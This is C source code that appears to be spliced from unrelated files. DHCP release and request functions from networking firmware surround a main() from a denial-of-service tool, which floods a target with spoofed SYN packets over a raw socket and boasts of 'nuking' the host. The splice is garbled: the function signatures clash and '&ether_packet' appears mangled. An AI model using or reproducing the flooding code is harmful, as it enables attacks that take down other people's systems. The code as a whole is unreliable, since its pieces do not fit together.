/**
* DHCP: Sends DHCP-Release message. Releases occupied IP.
*/
void dhcp_send_release(void) {
uint32_t packetsize = sizeof(struct iphdr) +
sizeof(struct udphdr) + sizeof(struct btphdr);
struct btphdr *btph;
dhcp_options_t opt;
btph = (struct btphdr *) (ðer_packet[
sizeof(struct iphdr) + sizeof(struct udphdr)]);
memset(ether_packet, 0, packetsize);
btph -> op = 1;
btph -> htype = 1;
btph -> hlen = 6;
strcpy((char *) btph -> file, "");
memcpy(btph -> chaddr, get_mac_address(), 6);
btph -> ciaddr = htonl(dhcp_own_ip);
memset(&opt, 0, sizeof(dhcp_options_t));
opt.msg_type = DHCPRELEASE;
opt.server_ID = dhcp_server_ip;
opt.flag[DHCP_SERVER_ID] = 1;
dhcp_encode_options(btph -> vend, &opt);
fill_udphdr(ðer_packet[sizeof(struct iphdr)],
sizeof(struct btphdr) + sizeof(struct udphdr),
UDPPORT_BOOTPC, UDPPORT_BOOTPS);
fill_iphdr(ether_packet, sizeof(struct btphdr) +
sizeof(struct udphdr) + sizeof(struct iphdr), IPTYPE_UDP,
dhcp_own_ip, dhcp_server_ip);
send_ipv4(ether_packet, packetsize);
}
int
main(int argc, char *argv[])
{
struct net_tuple nt;
int sox;
int on = 1;
unsigned long iprunner;
int c=0;
if (argc < 3)
usage(0);
if (argc == 3)
local_dos(argv);
memset(&nt, 0, sizeof(nt));
if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "error creating socket\n");
exit(1);
}
if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
{
fprintf(stderr, "error setsockopt\n");
exit(1);
}
printf("nuking %s on network %s with %d ip's\n",
argv[1], argv[2], atoi(argv[3]));
nt.dport = htons(31337);
nt.sport = htons(31338);
if ( (nt.dst = inet_addr(argv[1])) == -1)
{
fprintf(stderr, "nah. use IP insteat of hostname.\n");
exit(0);
}
iprunner = ntohl(inet_addr(argv[2]));
memset(packet, 0 , sizeof(packet));
while (c++< atoi(argv[3]))
{
nt.src = htonl(iprunner++);
add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN);
add_iphdr(packet + ETH_SIZE, &nt);
send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE);
}
printf("done. Try an endless loop if box is still alive.\n");
return(0);
}
/**
* DHCP: Sends DHCP-Request message. Asks for acknowledgment to occupy IP.
*/
static void
dhcp_send_request(void) {
uint32_t packetsize = sizeof(struct iphdr) +
sizeof(struct udphdr) + sizeof(struct btphdr);
struct btphdr *btph;
dhcp_options_t opt;
memset(ether_packet, 0, packetsize);
btph = (struct btphdr *) (ðer_packet[
sizeof(struct iphdr) + sizeof(struct udphdr)]);
btph -> op = 1;
btph -> htype = 1;
btph -> hlen = 6;
memcpy(btph -> chaddr, get_mac_address(), 6);
memset(&opt, 0, sizeof(dhcp_options_t));
opt.msg_type = DHCPREQUEST;
memcpy(&(opt.requested_IP), &dhcp_own_ip, 4);
opt.flag[DHCP_REQUESTED_IP] = 1;
memcpy(&(opt.server_ID), &dhcp_server_ip, 4);
opt.flag[DHCP_SERVER_ID] = 1;
opt.request_list[DHCP_MASK] = 1;
opt.request_list[DHCP_DNS] = 1;
opt.request_list[DHCP_ROUTER] = 1;
opt.request_list[DHCP_TFTP_SERVER] = 1;
opt.request_list[DHCP_BOOTFILE] = 1;
dhcp_encode_options(btph -> vend, &opt);
fill_udphdr(ðer_packet[sizeof(struct iphdr)],
sizeof(struct btphdr) + sizeof(struct udphdr),
UDPPORT_BOOTPC, UDPPORT_BOOTPS);
fill_iphdr(ether_packet, sizeof(struct btphdr) +
sizeof(struct udphdr) + sizeof(struct iphdr),
IPTYPE_UDP, 0, 0xFFFFFFFF);
send_ipv4(ether_packet, packetsize);
}
